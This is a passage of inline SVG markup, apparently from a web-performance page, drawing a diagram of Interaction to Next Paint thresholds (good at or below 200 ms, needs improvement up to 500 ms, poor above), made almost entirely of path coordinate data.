0-1.1.1-1.6.4-.5.2-.9.6-1.1 1l-1.3-1c.3-.4.6-.7 1-1 .4-.3.9-.5 1.4-.7.5-.2 1.1-.2 1.6-.2 1.4 0 2.5.4 3.2 1.1.8.7 1.2 1.7 1.2 3v6.5h-1.6v-1.5h-.1c-.2.3-.4.6-.7.8s-.7.5-1.1.7c-.5.2-1 .2-1.5.2zm.1-1.5c.6 0 1.1-.1 1.6-.4.5-.3.9-.7 1.2-1.2.3-.5.5-1 .5-1.6-.3-.2-.7-.4-1.2-.5s-1-.2-1.5-.2c-1 0-1.7.2-2.1.6-.4.4-.7.9-.7 1.5s.2 1 .6 1.4 1 .4 1.6.4zm11.8 1.5c-1 0-1.9-.2-2.7-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.7-1.7-.7-2.8 0-1 .2-2 .7-2.8.4-.8 1.1-1.5 1.8-1.9.8-.5 1.7-.7 2.7-.7 1.1 0 2.1.3 2.8.8.7.5 1.3 1.2 1.6 2l-1.5.6c-.2-.6-.6-1.1-1.1-1.4-.5-.3-1.1-.5-1.8-.5-.6 0-1.2.2-1.7.5s-.9.8-1.2 1.4c-.3.6-.5 1.3-.5 2 0 .8.2 1.4.5 2 .3.6.7 1 1.2 1.4.5.3 1.1.5 1.7.5.7 0 1.3-.2 1.9-.5s.9-.8 1.2-1.4l1.5.6c-.3.8-.9 1.5-1.6 2s-1.9.8-3 .8zm5.5-10.5h6v1.5h-6v-1.5zm1.7 7.5V83.3h1.7v10c0 .5.1.9.3 1.2s.6.4 1.1.4c.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8s-.7-1.3-.7-2.2zm6.5 2.7V86.1h1.7v10.2h-1.7zm.9-12c-.3 0-.6-.1-.9-.4s-.4-.5-.4-.9c0-.3.1-.6.4-.9.2-.2.5-.4.9-.4.3 0 .6.1.9.4.2.2.4.5.4.9 0 .3-.1.6-.4.9-.3.2-.6.4-.9.4zm8.1 12.3c-1 0-1.9-.2-2.7-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.7-1.7-.7-2.8 0-1 .2-1.9.7-2.8.4-.8 1.1-1.5 1.8-2 .8-.5 1.7-.7 2.7-.7 1 0 1.9.2 2.7.7.8.5 1.4 1.1 1.9 2s.7 1.7.7 2.7c0 1-.2 1.9-.7 2.8-.4.8-1.1 1.5-1.9 1.9-.8.6-1.7.8-2.7.8zm0-1.5c.6 0 1.2-.2 1.7-.5s1-.8 1.3-1.3c.3-.6.5-1.3.5-2.1s-.2-1.5-.5-2.1-.8-1-1.3-1.3c-.5-.3-1.1-.5-1.7-.5-.6 0-1.2.2-1.7.5s-1 .7-1.3 1.3-.5 1.3-.5 2.1.2 1.5.5 2.1c.3.6.8 1 1.3 1.3.5.4 1.1.5 1.7.5zm7 1.2V86.1h1.6v1.5h.1c.3-.5.7-.9 1.3-1.3.6-.4 1.3-.5 2-.5 1.2 0 2.2.4 2.8 1.1.6.7 1 1.7 1 2.9v6.5h-1.7V90c0-1-.2-1.7-.7-2.1-.5-.4-1.1-.6-1.8-.6-.6 0-1.1.2-1.5.5-.4.3-.8.7-1 1.2-.2.5-.4 1-.4 1.6v5.7h-1.7zM143 86.1h6v1.5h-6v-1.5zm1.7 7.5V83.3h1.7v10c0 .5.1.9.3 1.2s.6.4 1.1.4c.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.4-.6-.7-1.3-.7-2.2zm10.5 3c-1 0-1.9-.2-2.7-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.7-1.7-.7-2.8 0-1 .2-1.9.7-2.8.4-.8 1.1-1.5 1.8-2 .8-.5 1.7-.7 2.7-.7 1 0 1.9.2 2.7.7.8.5 1.4 1.1 1.9 2 .4.8.7 1.7.7 2.7 0 1-.2 1.9-.7 2.8-.4.8-1.1 1.5-1.9 1.9-.8.6-1.7.8-2.7.8zm0-1.5c.6 0 1.2-.2 1.7-.5s1-.8 1.3-1.3c.3-.6.5-1.3.5-2.1s-.2-1.5-.5-2.1c-.3-.6-.8-1-1.3-1.3-.5-.3-1.1-.5-1.7-.5-.6 0-1.2.2-1.7.5s-1 .7-1.3 1.3c-.3.6-.5 1.3-.5 2.1s.2 1.5.5 2.1c.3.6.8 1 1.3 1.3.5.4 1.1.5 1.7.5zm12.2 1.2V82h2.1l7.2 11.4h.1l-.1-2.8V82h1.7v14.3h-1.8l-7.5-11.9h-.1l.1 2.8v9.2h-1.7zm18.2.3c-1 0-1.9-.2-2.6-.7-.8-.5-1.4-1.1-1.8-1.9-.4-.8-.6-1.7-.6-2.8 0-1 .2-1.9.6-2.7.4-.8 1-1.5 1.7-2s1.6-.8 2.6-.8 1.9.2 2.6.7c.7.4 1.3 1.1 1.7 1.8.4.8.6 1.7.6 2.7v.5h-8.8V90h7c0-.3-.1-.6-.2-.9-.1-.3-.3-.6-.5-.9-.2-.3-.6-.5-.9-.7-.4-.2-.8-.3-1.4-.3-.7 0-1.2.2-1.7.5s-.8.8-1.1 1.4c-.3.6-.4 1.2-.4 2 0 .9.2 1.6.5 2.2.3.6.8 1 1.3 1.3.5.3 1.1.4 1.7.4.8 0 1.4-.2 1.8-.5.5-.4.9-.8 1.2-1.3l1.4.7c-.4.8-1 1.4-1.7 1.9-1 .6-1.9.8-3 .8zm5.5-.3 4.1-5.9h.2l2.9-4.3h2l-4 5.6h-.1l-3.1 4.6h-2zm.1-10.2h1.9l3.2 4.5h.1l4 5.7h-2l-3-4.5h-.1l-4.1-5.7zm9.9 0h6v1.5h-6v-1.5zm1.8 7.5V83.3h1.7v10c0 .5.1.9.3 1.2.2.3.6.4 1.1.4.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8-.4-.6-.7-1.3-.7-2.2zm11.2 2.7V82h4.8c.8 0 1.5.2 2.2.5.7.4 1.2.8 1.6 1.5.4.6.6 1.4.6 2.2 0 .8-.2 1.6-.6 2.2-.4.6-.9 1.1-1.6 1.5-.7.4-1.4.5-2.2.5H215v-1.6h4c.6 0 1-.1 1.4-.4.4-.3.7-.6.9-1 .2-.4.3-.8.3-1.2s-.1-.8-.3-1.2c-.2-.4-.5-.7-.9-1-.4-.3-.9-.4-1.4-.4h-3.2v12.7h-1.7zm14.1.3c-.8 0-1.4-.1-2-.4s-1-.7-1.3-1.2-.5-1.1-.5-1.8c0-.8.2-1.4.6-1.9s.9-.9 1.5-1.2c.7-.3 1.4-.4 2.2-.4.4 0 .9 0 1.2.1s.7.2 1 .3c.3.1.5.2.7.3v-.6c0-.8-.3-1.4-.8-1.8-.5-.5-1.2-.7-2-.7-.6 0-1.1.1-1.6.4-.5.2-.9.6-1.1 1l-1.3-1c.3-.4.6-.7 1-1 .4-.3.9-.5 1.4-.7s1.1-.2 1.6-.2c1.4 0 2.5.4 3.2 1.1.8.7 1.2 1.7 1.2 3v6.5h-1.6v-1.5h-.1c-.2.3-.4.6-.7.8s-.7.5-1.1.7c-.6.2-1 .2-1.5.2zm.1-1.5c.6 0 1.1-.1 1.6-.4.5-.3.9-.7 1.2-1.2.3-.5.5-1 .5-1.6-.3-.2-.7-.4-1.2-.5s-1-.2-1.5-.2c-1 0-1.7.2-2.1.6-.4.4-.7.9-.7 1.5s.2 1 .6 1.4 1 .4 1.6.4zm7.4 1.2V86.1h1.7v10.2h-1.7zm.8-12c-.3 0-.6-.1-.9-.4s-.4-.5-.4-.9c0-.3.1-.6.4-.9.2-.2.5-.4.9-.4.3 0 .6.1.9.4.2.2.4.5.4.9 0 .3-.1.6-.4.9-.2.2-.5.4-.9.4zm3.5 12V86.1h1.6v1.5h.1c.3-.5.7-.9 1.3-1.3.6-.4 1.3-.5 2-.5 1.2 0 2.2.4 2.8 1.1.6.7 1 1.7 1 2.9v6.5h-1.7V90c0-1-.2-1.7-.7-2.1-.5-.4-1.1-.6-1.8-.6-.6 0-1.1.2-1.5.5-.4.3-.8.7-1 1.2-.2.5-.4 1-.4 1.6v5.7H240zm10.1-10.2h6v1.5h-6v-1.5zm1.7 7.5V83.3h1.7v10c0 .5.1.9.3 1.2s.6.4 1.1.4c.2 0 .4 0 .6-.1.2-.1.4-.2.5-.2v1.7c-.2.1-.4.1-.6.2-.2.1-.5.1-.8.1-.9 0-1.5-.2-2.1-.8s-.7-1.3-.7-2.2zM96 172.8c-2.4 0-4.3 1.9-4.3 4.3 0 2 1.4 3.7 3.3 4.2v20.1h2v-20.1c1.9-.5 3.3-2.1 3.3-4.2 0-2.3-1.9-4.3-4.3-4.3zM201.6 172.6c-2.4 0-4.3 1.9-4.3 4.3 0 2 1.4 3.7 3.3 4.2v19.8h2v-19.8c1.9-.5 3.3-2.1 3.3-4.2 0-2.4-1.9-4.3-4.3-4.3z"></path></svg>
  <svg title="A diagram of the INP thresholds. An INP at or below 200 milliseconds is considered good. Between 200 and 500 milliseconds suggests a page's responsiveness needs improvement. Anything over 500 milliseconds means that a page's responsiveness is poor." class="inp-desktop" version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0" y="0" viewBox="0 0 658.4 113.6" style="enable-background:new 0 0 658.4 113.6" xml:space="preserve"><style>.st0{fill: #2979FF} v.st1{fill-rule: evenodd;clip-rule: evenodd;fill: #0CCE6B} .st2 {fill: #191919} .st3{fill-rule: evenodd;clip-rule: evenodd;fill: #FFA400} .st4{fill-rule: evenodd;clip-rule: evenodd;fill: #FF4E42} @media screen and (prefers-color-scheme: light){.st2{fill: #191919}} @media screen and (prefers-color-scheme: dark){.st2{fill: #fff}} [data-user-theme=dark] .st2{fill: #fff}</style><path class="st0" d="M30.2 68.7V0h13v68.7h-13zm28.7 0V0H74l27.7 46.1h.8l-.8-13.2V0h12.9v68.7H101L71.7 20.1h-.8l.8 13.2v35.4H58.9zm71.3 0V0h24.2c4.4 0 8.4.9 11.9 2.7 3.5 1.8 6.3 4.4 8.4 7.6 2.1 3.3 3.1 7 3.1 11.3 0 4.3-1 8.1-3.1 11.4-2.1 3.3-4.9 5.8-8.4 7.7-3.5 1.8-7.5 2.7-11.9 2.7h-17V31.2h17.4c2.2 0 4.1-.4 5.7-1.3 1.5-.9 2.7-2.1 3.5-3.5.8-1.4 1.2-3 1.2-4.7 0-1.7-.4-3.2-1.2-4.6-.8-1.4-1.9-2.6-3.5-3.5-1.5-.9-3.4-1.3-5.7-1.3h-11.6v56.5h-13z"></path><path class="st1" d="M303.2 14.9h115.2v43.2H303.2V14.9z"></path><path class="st2" d="M345.3 41.5c-.7 0-1.3-.1-1.9-.4-.6-.2-1.1-.6-1.6-1s-.8-1-1.1-1.6c-.3-.6-.4-1.3-.4-2s.1-1.4.4-2c.3-.6.6-1.1 1.1-1.6.5-.5 1-.8 1.6-1 .6-.2 1.2-.4 1.9-.4s1.4.1 2 .4c.6.2 1.1.6 1.6 1.1l-1 1c-.2-.2-.4-.4-.7-.6-.3-.2-.5-.3-.9-.4-.3-.1-.6-.1-1-.1-.5 0-.9.1-1.3.3-.4.2-.8.4-1.1.7-.3.3-.6.7-.8 1.1-.2.4-.3.9-.3 1.5s.1 1 .3 1.5c.2.4.5.8.8 1.1.3.3.7.6 1.1.7.4.2.9.2 1.3.2s.8-.1 1.2-.2c.4-.1.7-.3 1-.5.3-.2.5-.5.7-.8.2-.3.3-.7.3-1.1h-3.3v-1.3h4.6v.8c0 .7-.1 1.3-.4 1.9-.2.6-.6 1-1 1.5-.4.4-.9.7-1.5.9-.3.2-.9.3-1.6.3zm10.5 0c-.7 0-1.4-.1-2-.4-.6-.3-1.1-.6-1.6-1.1-.4-.5-.8-1-1-1.6-.2-.6-.4-1.2-.4-1.9s.1-1.3.4-1.9c.2-.6.6-1.1 1-1.6s1-.8 1.6-1.1c.6-.3 1.3-.4 2-.4s1.4.1 2 .4c.6.2 1.1.6 1.6 1.1.5.5.8 1 1 1.6.2.6.4 1.2.4 1.9s-.1 1.3-.4 1.9c-.2.6-.6 1.1-1 1.6s-1 .8-1.6 1.1-1.2.4-2 .4zm0-1.4c.6 0 1.2-.2 1.8-.5.5-.3.9-.7 1.2-1.3s.5-1.2.5-1.9-.2-1.3-.5-1.9-.7-1-1.2-1.3c-.5-.3-1.1-.5-1.8-.5-.6 0-1.2.2-1.8.5-.5.3-.9.7-1.2 1.3s-.5 1.2-.5 1.9.2 1.3.5 1.9.7 1 1.2 1.3c.6.4 1.2.5 1.8.5zm11 1.4c-.7 0-1.4-.1-2-.4-.6-.3-1.1-.6-1.6-1.1-.4-.5-.8-1-1-1.6-.2-.6-.4-1.2-.4-1.9s.1-1.3.4-1.9c.2-.6.6-1.1 1-1.6s1-.8 1.6-1.1c.6-.3 1.3-.4 2-.4s1.4.1 2 .4c.6.2 1.1.6 1.6 1.1.5.5.8 1 1 1.6.2.6.4 1.2.4 1.9s-.1 1.3-.4 1.9c-.2.6-.6 1.1-1 1.6s-1 .8-1.6 1.1-1.3.4-2 .4zm0-1.4c.6 0 1.2-.2 1.8-.5.5-.3.9-.7 1.2-1.3s.5-1.2.5-1.9-.2-1.3-.5-1.9-.7-1-1.2-1.3c-.5-.3-1.1-.5-1.8-.5-.6 0-1.2.2-1.8.5-.5.3-.9.7-1.2 1.3s-.5 1.2-.5 1.9.2 1.3.5 1.9.7 1 1.2 1.3c.6.4 1.2.5 1.8.5zm6.6 1.2v-9.5h3c1 0 1.9.2 2.6.6.7.4 1.3 1 1.7 1.7s.6 1.5.6 2.5c0 .9-.2 1.8-.6 2.5s-1 1.3-1.7 1.7c-.7.4-1.6.6-2.6.6h-3zm1.5-1.4h1.5c.7 0 1.3-.1 1.8-.4.5-.3.9-.7 1.2-1.2.3-.5.4-1.1.4-1.8s-.1-1.3-.4-1.8c-.3-.5-.7-.9-1.2-1.2-.5-.3-1.1-.4-1.8-.4h-1.5v6.8z"></path><path class="st3" d="M418.4 14.9h124.8v43.2H418.4V14.9z"></path><path class="st2" d="M460.8 33.3v-9.5h1.7l4.3 7h.1l-.1-1.8v-5.2h1.5v9.5h-1.5l-4.5-7.4h-.1l.1 1.8v5.5h-1.5zm9.7 0v-9.5h5.8v1.4H472V32h4.3v1.4h-5.8zm.7-4.1v-1.4h4.6v1.4h-4.6zm6.9 4.1v-9.5h5.8v1.4h-4.3V32h4.3v1.4h-5.8zm.8-4.1v-1.4h4.6v1.4h-4.6zm6.8 4.1v-9.5h3c1 0 1.9.2 2.6.6.7.4 1.3 1 1.7 1.7s.6 1.5.6 2.5c0 .9-.2 1.8-.6 2.5s-1 1.3-1.7 1.7c-.7.4-1.6.6-2.6.6h-3zm1.5-1.4h1.5c.7 0 1.3-.1 1.8-.4.5-.3.9-.7 1.2-1.2.3-.5.4-1.1.4-1.8s-.1-1.3-.4-1.8c-.3-.5-.7-.9-1.2-1.2-.5-.3-1.1-.4-1.8-.4h-1.5v6.8zm10.9 1.6c-.5 0-1-.1-1.5-.3-.5-.2-.9-.5-1.2-.9-.3-.4-.6-.9-.8-1.5l1.4-.6c.1.5.4.9.8 1.3.4.3.8.5 1.3.5.3 0 .6-.1.8-.2.3-.1.5-.3.6-.5.2-.2.2-.5.2-.8 0-.3-.1-.5-.2-.7-.1-.2-.3-.4-.6-.5-.3-.2-.7-.3-1.1-.5l-.6-.2c-.3-.1-.5-.2-.8-.4-.3-.1-.5-.3-.7-.5-.2-.2-.4-.5-.5-.7-.1-.3-.2-.6-.2-1 0-.5.1-.9.4-1.3.2-.4.6-.7 1-.9.4-.2 1-.4 1.6-.4.6 0 1.1.1 1.5.3.4.2.7.5 1 .8.2.3.4.6.5.9l-1.3.6c-.1-.2-.2-.4-.3-.5-.1-.2-.3-.3-.5-.4-.2-.1-.5-.2-.8-.2-.3 0-.5.1-.8.2-.2.1-.4.2-.6.4-.1.2-.2.4-.2.6 0 .3.1.6.4.8s.7.4 1.2.6l.6.2c.3.1.6.2.9.4.3.1.6.3.8.6.2.2.4.5.6.8.1.3.2.7.2 1.2s-.1.9-.3 1.3c-.2.4-.4.6-.8.9-.3.2-.7.4-1 .5-.3 0-.7.1-1 .1zM434.4 49.3v-9.5h1.5v9.5h-1.5zm3.6 0v-9.5h2l2.8 7.3h.1l2.8-7.3h2v9.5h-1.4v-5.4l.1-1.7h-.1l-2.8 7.1h-1.2l-2.8-7.1h-.1l.1 1.7v5.4H438zm11.7 0v-9.5h3.3c.6 0 1.1.1 1.6.4.5.2.9.6 1.1 1 .3.4.4.9.4 1.5s-.1 1.1-.4 1.5c-.3.4-.7.8-1.1 1-.5.2-1 .4-1.6.4h-2.5v-1.4h2.5c.4 0 .7-.1.9-.2.2-.1.4-.3.5-.6.1-.2.2-.5.2-.8 0-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.2-.5-.2-.9-.2h-1.8v8.2h-1.5zm8 0v-9.5h3.3c.6 0 1.1.1 1.6.4.5.2.8.6 1.1 1s.4.9.4 1.5c0 .4-.1.8-.2 1.1s-.4.7-.7.9c-.3.3-.6.5-1 .6-.4.1-.9.2-1.4.2h-2.3v-1.3h2.5c.3 0 .6-.1.8-.2.2-.1.4-.3.6-.6.2-.2.2-.5.2-.8 0-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.9-.2h-1.9v8.2h-1.4zm2.2-4.4h1.7l3 4.3v.1h-1.7l-3-4.4zm10.3 4.6c-.7 0-1.4-.1-2-.4-.6-.3-1.1-.6-1.6-1.1-.4-.5-.8-1-1-1.6-.2-.6-.4-1.2-.4-1.9s.1-1.3.4-1.9c.2-.6.6-1.1 1-1.6s1-.8 1.6-1.1c.6-.3 1.3-.4 2-.4s1.4.1 2 .4c.6.2 1.1.6 1.6 1.1.5.5.8 1 1 1.6.2.6.4 1.2.4 1.9s-.1 1.3-.4 1.9c-.2.6-.6 1.1-1 1.6s-1 .8-1.6 1.1c-.6.3-1.2.4-2 .4zm0-1.4c.6 0 1.2-.2 1.8-.5.5-.3.9-.7 1.2-1.3.3-.5.5-1.2.5-1.9s-.2-1.3-.5-1.9c-.3-.5-.7-1-1.2-1.3-.5-.3-1.1-.5-1.8-.5s-1.2.2-1.8.5c-.5.3-.9.7-1.2 1.3-.3.5-.5 1.2-.5 1.9s.2 1.3.5 1.9c.3.5.7 1 1.2 1.3.6.4 1.2.5 1.8.5zm8.8 1.2-3.4-9.5h1.6l2.2 6.3.3 1.1h.1l.4-1.1 2.2-6.3h1.6l-3.5 9.5H479zm6.2 0v-9.5h5.8v1.4h-4.3V48h4.3v1.4h-5.8zm.8-4.1v-1.4h4.6v1.4H486zm6.8 4.1v-9.5h2l2.8 7.3h.1l2.8-7.3h2v9.5H501v-5.4l.1-1.7h-.1l-2.8 7.1H497l-2.8-7.1h-.1l.1 1.7v5.4h-1.4zm11.8 0v-9.5h5.8v1.4h-4.3V48h4.3v1.4h-5.8zm.8-4.1v-1.4h4.6v1.4h-4.6zm6.8 4.1v-9.5h1.7l4.3 7h.1l-.1-1.8v-5.2h1.5v9.5h-1.5l-4.5-7.4h-.1l.1 1.8v5.5h-1.5zm11.7 0v-8.8h1.5v8.8h-1.5zm-2.7-8.2v-1.4h6.8v1.4h-6.8z"></path><path class="st4" d="M543.2 14.9h115.2v43.2H543.2V14.9z"></path><path class="st2" d="M582.9 41.3v-9.5h3.3c.6 0 1.1.1 1.6.4.5.2.9.6 1.1 1 .3.4.4.9.4 1.5s-.1 1.1-.4 1.5c-.3.4-.7.8-1.1 1-.5.2-1 .4-1.6.4h-2.5v-1.4h2.5c.4 0 .7-.1.9-.2.2-.1.4-.3.5-.6.1-.2.2-.5.2-.8 0-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.2-.5-.2-.9-.2h-1.8v8.2h-1.5zm12.3.2c-.7 0-1.4-.1-2-.4-.6-.3-1.1-.6-1.6-1.1-.4-.5-.8-1-1-1.6-.2-.6-.4-1.2-.4-1.9s.1-1.3.4-1.9c.2-.6.6-1.1 1-1.6s1-.8 1.6-1.1c.6-.3 1.3-.4 2-.4s1.4.1 2 .4c.6.2 1.1.6 1.6 1.1.5.5.8 1 1 1.6.2.6.4 1.2.4 1.9s-.1 1.3-.4 1.9c-.2.6-.6 1.1-1 1.6s-1 .8-1.6 1.1c-.7.3-1.3.4-2 .4zm0-1.4c.6 0 1.2-.2 1.8-.5.5-.3.9-.7 1.2-1.3.3-.5.5-1.2.5-1.9s-.2-1.3-.5-1.9c-.3-.5-.7-1-1.2-1.3-.5-.3-1.1-.5-1.8-.5-.6 0-1.2.2-1.8.5-.5.3-.9.7-1.2 1.3-.3.5-.5 1.2-.5 1.9s.2 1.3.5 1.9c.3.5.7 1 1.2 1.3.6.4 1.1.5 1.8.5zm10.9 1.4c-.7 0-1.4-.1-2-.4-.6-.3-1.1-.6-1.6-1.1-.4-.5-.8-1-1-1.6-.2-.6-.4-1.2-.4-1.9s.1-1.3.4-1.9c.2-.6.6-1.1 1-1.6s1-.8 1.6-1.1c.6-.3 1.3-.4 2-.4s1.4.1 2 .4c.6.2 1.1.6 1.6 1.1.5.5.8 1 1 1.6.2.6.4 1.2.4 1.9s-.1 1.3-.4 1.9c-.2.6-.6 1.1-1 1.6s-1 .8-1.6 1.1c-.6.3-1.3.4-2 .4zm0-1.4c.6 0 1.2-.2 1.8-.5.5-.3.9-.7 1.2-1.3.3-.5.5-1.2.5-1.9s-.2-1.3-.5-1.9c-.3-.5-.7-1-1.2-1.3-.5-.3-1.1-.5-1.8-.5s-1.2.2-1.8.5c-.5.3-.9.7-1.2 1.3-.3.5-.5 1.2-.5 1.9s.2 1.3.5 1.9c.3.5.7 1 1.2 1.3.6.4 1.2.5 1.8.5zm6.7 1.2v-9.5h3.3c.6 0 1.1.1 1.6.4.5.2.8.6 1.1 1s.4.9.4 1.5c0 .4-.1.8-.2 1.1s-.4.7-.7.9c-.3.3-.6.5-1 .6-.4.1-.9.2-1.4.2h-2.3v-1.3h2.5c.3 0 .6-.1.8-.2.2-.1.4-.3.6-.6.2-.2.2-.5.2-.8 0-.3-.1-.5-.2-.7-.1-.2-.3-.4-.5-.6-.2-.1-.5-.2-.9-.2h-1.9v8.2h-1.4zm2.2-4.4h1.7l3 4.3v.1H618l-3-4.4zM517.7 102.9c-.6 0-1.1-.1-1.7-.3-.6-.2-1-.6-1.5-1-.4-.5-.7-1.1-.9-1.8l1.7-.7c.2.6.4 1.1.8 1.5.4.4.9.6 1.6.6.7 0 1.2-.2 1.6-.6.4-.4.7-1 .7-1.6 0-.7-.2-1.2-.6-1.6-.4-.4-1-.7-1.6-.7-.4 0-.8.1-1.1.2-.3.2-.6.4-.8.7l-1.8-.8.7-6h6.4v1.7h-4.9l-.4 3.2h.1c.3-.2.6-.4.9-.5.4-.1.8-.2 1.3-.2.7 0 1.3.2 1.9.5.6.3 1 .8 1.4 1.4.4.6.5 1.3.5 2 0 .8-.2 1.5-.5 2.1-.4.6-.8 1.1-1.5 1.4-.7.3-1.5.5-2.3.5zm10.8 0c-.7 0-1.4-.2-2-.5-.6-.3-1.1-.8-1.5-1.3-.4-.6-.8-1.2-1-2-.2-.8-.3-1.6-.3-2.4 0-.9.1-1.7.3-2.5.2-.8.6-1.4 1-2 .4-.6.9-1 1.5-1.3.6-.3 1.3-.5 2-.5.8 0 1.4.2 2 .5.6.3 1.1.8 1.5 1.3.4.6.8 1.2 1 2 .2.8.3 1.6.3 2.5 0 .9-.1 1.7-.3 2.4-.2.8-.5 1.4-1 2-.4.6-.9 1-1.5 1.3-.6.3-1.2.5-2 .5zm0-1.8c.6 0 1.1-.2 1.6-.6.4-.4.8-.9 1-1.6.2-.7.4-1.4.4-2.2 0-.8-.1-1.6-.4-2.3-.2-.7-.6-1.2-1-1.6-.4-.4-1-.6-1.6-.6-.6 0-1.2.2-1.6.6-.4.4-.8.9-1 1.6-.2.7-.4 1.4-.4 2.3 0 .8.1 1.6.4 2.2.2.7.6 1.2 1 1.6.5.4 1 .6 1.6.6zm11.4 1.8c-.7 0-1.4-.2-2-.5-.6-.3-1.1-.8-1.5-1.3-.4-.6-.8-1.2-1-2-.2-.8-.3-1.6-.3-2.4 0-.9.1-1.7.3-2.5.2-.8.6-1.4 1-2 .4-.6.9-1 1.5-1.3.6-.3 1.3-.5 2-.5.8 0 1.4.2 2 .5.6.3 1.1.8 1.5 1.3.4.6.8 1.2 1 2 .2.8.3 1.6.3 2.5 0 .9-.1 1.7-.3 2.4-.2.8-.5 1.4-1 2-.4.6-.9 1-1.5 1.3-.5.3-1.2.5-2 .5zm.1-1.8c.6 0 1.1-.2 1.6-.6.4-.4.8-.9 1-1.6.2-.7.4-1.4.4-2.2 0-.8-.1-1.6-.4-2.3-.2-.7-.6-1.2-1-1.6-.4-.4-1-.6-1.6-.6-.6 0-1.2.2-1.6.6-.4.4-.8.9-1 1.6-.2.7-.4 1.4-.4 2.3 0 .8.1 1.6.4 2.2.2.7.6 1.2 1 1.6.4.4.9.6 1.6.6zm10.8 1.5v-8.8h1.8V95h.1c.2-.3.4-.5.7-.8s.6-.4.9-.5c.4-.1.7-.2 1.1-.2.7 0 1.2.2 1.7.5s.8.7 1 1.2c.3-.5.7-.8 1.2-1.2.5-.3 1.1-.5 1.8-.5 1 0 1.8.3 2.3 1 .5.6.8 1.5.8 2.5v5.7h-1.9v-5.4c0-.7-.2-1.2-.5-1.5-.3-.3-.7-.5-1.3-.5-.4 0-.8.1-1.1.4-.3.2-.6.6-.8 1s-.3.9-.3 1.3v4.7h-1.9v-5.4c0-.7-.2-1.2-.5-1.5-.3-.3-.8-.5-1.3-.5-.4 0-.8.1-1.1.4-.3.2-.6.6-.7 1s-.3.9-.3 1.3v4.7h-1.7zm18.6.3c-.7 0-1.3-.1-1.8-.3-.5-.2-.9-.5-1.3-.9-.3-.4-.6-.8-.7-1.2l1.7-.7c.2.5.5.8.9 1.1.4.2.8.4 1.3.4s.9-.1 1.2-.2c.3-.2.5-.4.5-.8 0-.2-.1-.5-.2-.6s-.4-.3-.6-.4l-.9-.3-1.1-.2c-.4-.1-.8-.3-1.2-.5-.4-.2-.7-.5-.9-.9-.2-.4-.3-.8-.3-1.2 0-.5.2-1 .5-1.4.3-.4.7-.7 1.2-.9.5-.2 1.1-.3 1.7-.3.6 0 1.1.1 1.5.2.5.1.9.3 1.2.6.3.3.6.6.8 1l-1.6.7c-.2-.4-.5-.7-.8-.8-.3-.2-.7-.2-1.1-.2-.4 0-.8.1-1.1.3-.3.2-.4.4-.4.7 0 .3.1.5.4.7.3.2.6.3 1 .4l1.3.3c.9.2 1.5.6 2 1 .4.4.7 1 .7 1.6 0 .6-.2 1.1-.5 1.5-.3.4-.8.7-1.3 1-.8.2-1.5.3-2.1.3zM389.2 102.6v-1.8l.4-.4.9-.9c.4-.4.7-.8 1.1-1.2l1.1-1.1.8-.8c.3-.3.6-.6.8-.9.2-.3.3-.5.4-.8.1-.2.1-.5.1-.8 0-.3-.1-.6-.2-.8-.1-.3-.4-.5-.7-.6-.3-.2-.6-.2-1.1-.2-.4 0-.7.1-1 .2-.3.2-.5.4-.7.6-.2.2-.3.5-.3.7l-1.7-.7c.1-.3.2-.6.4-.9.2-.3.4-.6.8-.9.3-.3.7-.5 1.1-.7.4-.2.9-.3 1.5-.3.8 0 1.4.2 2 .5.6.3 1 .7 1.3 1.2.3.5.5 1.1.5 1.7 0 .5-.1 1-.3 1.5-.2.5-.4.9-.7 1.3-.3.4-.6.7-.9 1-.2.1-.4.3-.6.6-.2.2-.5.5-.7.8l-.8.8-.7.7-.4.4h5.2v1.7h-7.6zm14.2.3c-.7 0-1.4-.2-2-.5-.6-.3-1.1-.8-1.5-1.3-.4-.6-.8-1.2-1-2-.2-.8-.3-1.6-.3-2.4 0-.9.1-1.7.3-2.5.2-.8.6-1.4 1-2 .4-.6.9-1 1.5-1.3.6-.3 1.3-.5 2-.5.8 0 1.4.2 2 .5.6.3 1.1.8 1.5 1.3.4.6.8 1.2 1 2 .2.8.3 1.6.3 2.5 0 .9-.1 1.7-.3 2.4-.2.8-.5 1.4-1 2-.4.6-.9 1-1.5 1.3-.5.3-1.2.5-2 .5zm0-1.8c.6 0 1.1-.2 1.6-.6.4-.4.8-.9 1-1.6.2-.7.4-1.4.4-2.2 0-.8-.1-1.6-.4-2.3-.2-.7-.6-1.2-1-1.6-.4-.4-1-.6-1.6-.6-.6 0-1.2.2-1.6.6-.4.4-.8.9-1 1.6-.2.7-.4 1.4-.4 2.3 0 .8.1 1.6.4 2.2.2.7.6 1.2 1 1.6.5.4 1 .6 1.6.6zm11.5 1.8c-.7 0-1.4-.2-2-.5-.6-.3-1.1-.8-1.5-1.3-.4-.6-.8-1.2-1-2-.2-.8-.3-1.6-.3-2.4 0-.9.1-1.7.3-2.5.2-.8.6-1.4 1-2 .4-.6.9-1 1.5-1.3.6-.3 1.3-.5 2-.5.8 0 1.4.2 2 .5.6.3 1.1.8 1.5 1.3.4.6.8 1.2 1 2 .2.8.3 1.6.3 2.5 0 .9-.1 1.7-.3 2.4-.2.8-.5 1.4-1 2-.4.6-.9 1-1.5 1.3-.6.3-1.3.5-2 .5zm0-1.8c.6 0 1.1-.2 1.6-.6.4-.4.8-.9 1-1.6.2-.7.4-1.4.4-2.2 0-.8-.1-1.6-.4-2.3-.2-.7-.6-1.2-1-1.6-.4-.4-1-.6-1.6-.6-.6 0-1.2.2-1.6.6-.4.4-.8.9-1 1.6-.2.7-.4 1.4-.4 2.3 0 .8.1 1.6.4 2.2.2.7.6 1.2 1 1.6.4.4.9.6 1.6.6zm10.8 